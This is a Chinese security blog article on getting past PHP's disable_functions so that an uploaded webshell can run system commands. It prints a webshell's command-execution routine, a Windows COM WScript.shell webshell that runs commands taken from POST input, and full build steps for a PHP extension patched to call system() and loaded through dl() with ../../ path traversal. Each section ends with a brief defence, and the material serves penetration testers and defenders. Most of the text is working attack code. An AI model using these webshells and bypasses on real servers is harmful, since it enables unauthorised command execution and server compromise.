0x00前言
上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.
0x01 php webshell执行命令原理
php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下
搜索关键字定位到以下代码
Default
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
functionexecute($cfe){
$res='';
if($cfe){
if(function_exists('system')){
@ob_start();
@system($cfe);
$res=@ob_get_contents();
@ob_end_clean();
}elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res=@ob_get_contents();
@ob_end_clean();
}elseif(function_exists('shell_exec')){
$res=@shell_exec($cfe);
}elseif(function_exists('exec')){
@exec($cfe,$res);
$res=join("\n",$res);
}elseif(@is_resource($f=@popen($cfe,"r"))){
$res='';
while(!@feof($f)){
$res.=@fread($f,1024);
}
@pclose($f);
}
}
return$res;
}
即按顺利调用system(),passthru(),shell_exec,exec,popen函数 成功调用就不再往下调用
0x02禁止webshell执行命令原理
Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数,
例如
Default
disable_functions =system,passthru,shell_exec,exec,popen
1
disable_functions=system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令
0x03黑名单绕过
知道了原理后,我们便能想出很多绕过的方式
首先是黑名单绕过
我们看看php下能够执行系统命令的函数有哪些
Default
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
1
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
那么 便可以看看php.ini中的disable_function漏过了哪些函数。
然后 hack it.
曾经在给某大企业做渗透测试时,未禁用assert 成功执行命令
乌云上的案例 未禁用proc_open而引起
解决方案:关注并收集php系统命令执行函数,补齐disable_function项。
0x04系统组件绕过
这个方法适用于windows
看代码
Default
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$command=$_POST[a];
$wsh=newCOM('WScript.shell'); // 生成一个COM对象
$exec=$wsh->exec('cmd.exe /c '.$command);//调用对象方法来执行命令
$stdout=$exec->StdOut();
$stroutput=$stdout->ReadAll();
echo$stroutput
?>
Shell.Application也可以实现同样的效果
彻底的解决方案是 直接删除System32目录下wshom.ocx文件
0x05拓展库绕过
Linux下可通过编译拓展库进行绕过
网络上的方法及官方的方法 都提示错误,
经过研究 给出一种正确编译PHP拓展库的方法
前方高能。
首先得知PHP服务器php版本,下载个相同或相近版本的php源码包
Default
tar zxvf php-5.3.10.tar.gz //解压缩
cd php-5.3.10/ext
./ext_skel --extname=dl //生成名为dl的拓展库
cd dl
vi config.m4
1
2
3
4
5
6
7
8
9
tarzxvfphp-5.3.10.tar.gz //解压缩
cdphp-5.3.10/ext
./ext_skel--extname=dl //生成名为dl的拓展库
cddl
viconfig.m4
将这三行
Default
PHP_ARG_WITH(dl, for dl support,
Make sure that the comment is aligned:
[ --with-dl Include dl support])
1
2
3
4
5
PHP_ARG_WITH(dl,fordlsupport,
Makesurethatthecommentisaligned:
[ --with-dl Includedlsupport])
前面的dnl去掉并保存
Default
whereis phpize //找出phpize路径
/usr/local/bin/phpize // 运行phpize
vi dl.c
1
2
3
4
5
whereisphpize //找出phpize路径
/usr/local/bin/phpize // 运行phpize
vidl.c
在
Default
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
return;
}
1
2
3
4
5
if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"s",&arg,&arg_len)==FAILURE){
return;
}
这一行下添加
Default
system(arg);
1
system(arg);
Default
whereis php-config //找出php-config的路径
./configure --whith-php-config=php-config路径
make
make install
[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install
Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
1
2
3
4
5
6
7
8
9
10
11
whereisphp-config //找出php-config的路径
./configure--whith-php-config=php-config路径
make
makeinstall
[root@TENCENT64~/php-5.3.10/ext/dl]# make install
Installingsharedextensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
成功生成了
查看php.ini的
extension_dir 项
将
Default
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
1
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
拷贝到extension_dir目录下
若extension_dir目录无写权限则可写入任意目录用../../来绕过并调用。
利用代码:
Default
dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用
confirm_dl_compiled("$_GET[a]>1.txt");
?>
1
2
3
4
5
6
7
dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用
confirm_dl_compiled("$_GET[a]>1.txt");
?>
查看1.txt即可看到命令执行结果
防御方法:将dl函数加入disable_function中禁用
赏金发放情况:本文获得赏金200RMB,已于4.15日发放到作者账号。
征稿启事:91RI一直相信“你不与人分享,谁与你分享”,分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》